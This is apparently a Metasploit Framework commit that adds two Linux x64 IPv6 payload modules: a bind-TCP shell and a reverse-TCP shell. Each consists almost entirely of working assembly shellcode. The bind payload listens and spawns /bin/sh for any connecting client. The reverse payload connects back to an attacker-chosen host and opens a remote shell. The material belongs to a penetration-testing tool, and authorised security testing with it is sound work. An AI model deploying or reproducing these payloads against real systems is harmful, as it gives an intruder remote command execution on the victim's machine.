Land #11039, Add linux x64 ipv6 reverse shell

Merge branch 'land-11039' into upstream-master
GSoC/Meterpreter_Web_Console
bwatters 2019-02-01 16:21:24 -06:00
commit 239cce53ea
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
2 changed files with 269 additions and 0 deletions

View File

@ -0,0 +1,136 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 94
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux x64 Command Shell, Bind TCP Inline (IPv6)',
'Description' => 'Listen for an IPv6 connection and spawn a command shell',
'Author' => 'epi <epibar052[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix,
))
def generate_stage
# tcp port conversion; shamelessly stolen from linux/x86/shell_reverse_tcp_ipv6.rb
port_order = ([1,0]) # byte ordering
tcp_port = [datastore['LPORT'].to_i].pack('n*').unpack('H*').to_s.scan(/../) # converts user input into integer and unpacked into a string array
tcp_port.pop # removes the first useless / from the array
tcp_port.shift # removes the last useless / from the array
tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string.
payload = <<-EOS
socket_call:
; int socket(int domain, int type, int protocol)
push 0x29
pop rax ; socket syscall
push 0xa
pop rdi ; AF_INET6
push 0x1
pop rsi ; SOCK_STREAM
xor edx,edx ; auto-select protocol
syscall
push rax
pop rdi ; store socket fd
populate_sockaddr_in6:
; struct sockaddr_in6 {
; sa_family_t sin6_family; /* AF_INET6 */
; in_port_t sin6_port; /* port number */
; uint32_t sin6_flowinfo; /* IPv6 flow information */
; struct in6_addr sin6_addr; /* IPv6 address */
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
; };
; struct in6_addr {
; unsigned char s6_addr[16]; /* IPv6 address */
; };
cdq ; zero-out rdx via sign-extension
push rdx
push rdx
push rdx ; 24 bytes of sockaddr_in6, all 0x0
push.i16 0x#{tcp_port} ; sin6_port
push.i16 0xa ; sin6_family
push rsp
pop rsi ; store pointer to struct
bind_call:
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
; rdi -> fd already stored in rdi
; rsi -> pointer to sockaddr_in6 struct already in rsi
push 0x31
pop rax ; bind syscall
push 0x1c
pop rdx ; length of sockaddr_in6 (28)
syscall
listen_call:
; int listen(int sockfd, int backlog);
; rdi -> fd already stored in rdi
push 0x32
pop rax ; listen syscall
push 0x1
pop rsi ; backlog
syscall
accept_call:
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; rdi -> fd already stored in rdi
push 0x2b
pop rax ; accept syscall
cdq ; zero-out rdx via sign-extension
push rdx
push rdx
push rsp
pop rsi ; when populated, client will be stored in rsi
push 0x1c
lea rdx, [rsp] ; pointer to length of rsi (16)
syscall
dup2_calls:
; int dup2(int oldfd, int newfd);
xchg rdi, rax ; grab client fd
push 0x3
pop rsi ; newfd
dup2_loop:
; 2 -> 1 -> 0 (3 iterations)
push 0x21
pop rax ; dup2 syscall
dec esi
syscall
loopnz dup2_loop
exec_call:
; int execve(const char *filename, char *const argv[], char *const envp[]);
push 0x3b
pop rax ; execve call
cdq ; zero-out rdx via sign-extension
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi ; address of /bin/sh
syscall
EOS
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
end
end
end

View File

@ -0,0 +1,133 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 90
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux x64 Command Shell, Reverse TCP Inline (IPv6)',
'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
'Author' => 'epi <epibar052[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
))
register_options([
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
])
end
def convert_input(value, padding, reverse=false)
# converts value to comma separated string of
# zero-padded bytes to be used in the db instruction
arr = value.to_s(16).rjust(padding, "0").scan(/../)
if reverse
arr = arr.reverse
end
arr.map{ |x| sprintf("0x%02x", x.hex) }.join(',')
end
def generate_stage
# 22 -> "0x00,0x16"
# 4444 -> "0x11,0x5c"
tcp_port = convert_input(datastore['LPORT'], 4)
# 0 -> "0x00,0x00,0x00,0x00"
scope_id = convert_input(datastore['SCOPEID'], 8, true)
# ::1 -> "0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01"
# dead:beef:2::1009 -> "0xde,0xad,0xbe,0xef,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x09"
ipv6_addr = convert_input(IPAddr.new(datastore['LHOST'], Socket::AF_INET6).to_i, 32)
payload = <<-EOS
socket_call:
; int socket(int domain, int type, int protocol)
push 0x29
pop rax ; socket syscall
push 0xa
pop rdi ; AF_INET6
push 0x1
pop rsi ; SOCK_STREAM
xor edx,edx ; auto-select protocol
syscall
push rax
pop rdi ; store socket fd
jmp get_address ; jmp-call-pop
populate_sockaddr_in6:
; struct sockaddr_in6 {
; sa_family_t sin6_family; /* AF_INET6 */
; in_port_t sin6_port; /* port number */
; uint32_t sin6_flowinfo; /* IPv6 flow information */
; struct in6_addr sin6_addr; /* IPv6 address */
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
; };
; struct in6_addr {
; unsigned char s6_addr[16]; /* IPv6 address */
; };
pop rsi ; store pointer to struct
connect_call:
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; rdi -> already contains server socket fd
; rsi -> already contains pointer to sockaddr_in6 struct
push 0x2a
pop rax ; connect syscall
push 0x1c
pop rdx ; length of sockaddr_in6 (28)
syscall
dup2_calls:
; int dup2(int oldfd, int newfd);
; rdi -> already contains server socket fd
push 0x3
pop rsi ; newfd
dup2_loop:
; 2 -> 1 -> 0 (3 iterations)
push 0x21
pop rax ; dup2 syscall
dec esi
syscall
loopnz dup2_loop
exec_call:
; int execve(const char *filename, char *const argv[], char *const envp[]);
push 0x3b
pop rax ; execve call
cdq ; zero-out rdx via sign-extension
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi ; address of /bin/sh
syscall
get_address:
call populate_sockaddr_in6
; sin6_family(2), sin6_port(2), sin6_flowinfo(4), sockaddr_in6(16), sin6_scope_id(4)
db 0x0a,0x00,#{tcp_port},0x00,0x00,0x00,0x00,#{ipv6_addr},#{scope_id}
EOS
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
end
end